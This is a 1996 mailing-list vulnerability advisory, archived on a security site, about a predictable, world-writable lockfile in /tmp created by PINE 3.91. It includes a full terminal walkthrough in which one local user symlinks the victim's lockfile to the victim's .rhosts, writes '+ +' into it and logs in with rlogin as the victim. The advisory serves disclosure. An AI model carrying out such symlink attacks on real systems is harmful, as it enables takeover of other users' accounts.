Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!


TUCoPS :: Linux :: Apps N-Z :: linux_pi.txt

Vulnerability in PINE





                          [BUG] Vulnerability in PINE
                                       
   Sean B. Hamor (hamors@litterbox.org)
   Mon, 26 Aug 1996 19:35:05 -0400
   
Note:

  I'm not sure whether or not information this has been previously released.
  I found this earlier this evening while poking around, and apologize if
  I've just found an old bug.

  I verified the existence of this bug in PINE 3.91, however it had been
  fixed in 3.95.  I don't know if 3.92, 3.93, or 3.94 are effected.  Even
  though this bug has been fixed, I thought I'd still release this because
  many Linux installations still use PINE 3.91, and most machines I have
  accounts on still use PINE 3.91.


Synopsis:

  A problem exists in PINE where the name used for the lockfile in /tmp/ is
  easily guessable.  From various testing on a few machines, the name of the
  lockfile is static for each user who launches PINE.  Note that the
  lockfile is only created when there is new mail in the user's INBOX.

  This wouldn't normally be a problem, however this lockfile is created mode
  666 in /tmp/.  The static lockfile name can be easily attained by doing an
  ls in /tmp/ when it has been determined that the user is running PINE and
  has new email.


Exploit:

  By watching the process table with ps to see which users are running PINE,
  one can then do an ls in /tmp/ to gather the lockfile names for each user.
  Watching the process table once again will now reveal when each user quits
  PINE or runs out of unread messages in their INBOX, effectively deleting
  the respective lockfile.

  Creating a symbolic link from /tmp/.hamors_lockfile to ~hamors/.rhosts
  (for a generic example) will cause PINE to create ~hamors/.rhosts as a 666
  file with PINE's process id as its contents.  One may now simply do an
  echo "+ +" > /tmp/.hamors_lockfile, then rm /tmp/.hamors_lockfile.

  For this example, hamors is the victim while catluvr is the attacker:

hamors (21 19:04) litterbox:~> pine

catluvr (6 19:06) litterbox:~> ps -aux | grep pine
catluvr   1739  0.0  1.8  100  356 pp3 S    19:07   0:00 grep pine
hamors    1732  0.8  5.7  249 1104 pp2 S    19:05   0:00 pine

catluvr (7 19:07) litterbox:~> ls -al /tmp/ | grep hamors
- -rw-rw-rw-   1 hamors   elite           4 Aug 26 19:05 .302.f5a4

catluvr (8 19:07) litterbox:~> ps -aux | grep pine
catluvr   1744  0.0  1.8  100  356 pp3 S    19:08   0:00 grep pine

catluvr (9 19:09) litterbox:~> ln -s /home/hamors/.rhosts /tmp/.302.f5a4

hamors (23 19:09) litterbox:~> pine

catluvr (11 19:10) litterbox:~> ps -aux | grep pine
catluvr   1759  0.0  1.8  100  356 pp3 S    19:11   0:00 grep pine
hamors    1756  2.7  5.1  226  992 pp2 S    19:10   0:00 pine

catluvr (12 19:11) litterbox:~> echo "+ +" > /tmp/.302.f5a4

catluvr (13 19:12) litterbox:~> cat /tmp/.302.f5a4
+ +

catluvr (14 19:12) litterbox:~> rm /tmp/.302.f5a4

catluvr (15 19:14) litterbox:~> rlogin litterbox.org -l hamors

Verification:

This vulnerability has been tested on the following platforms with the
following versions of PINE:

  Linux Slackware 3.0 (1.2.13):  PINE 3.91
  FreeBSD 2.1.0-RELEASE:  PINE 3.91

  Problem has been fixed in PINE 3.95 under Linux Slackware 3.0 (1.2.13):

  Log entry:
  Aug 26 19:10:58 litterbox syslog: SECURITY PROBLEM: lock file /tmp/.302.f5a4
is a symbolic link

  User warning:
  [SECURITY ALERT: symbolic link on lock name!]
  [Can't open mailbox lock, access is readonly]


TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH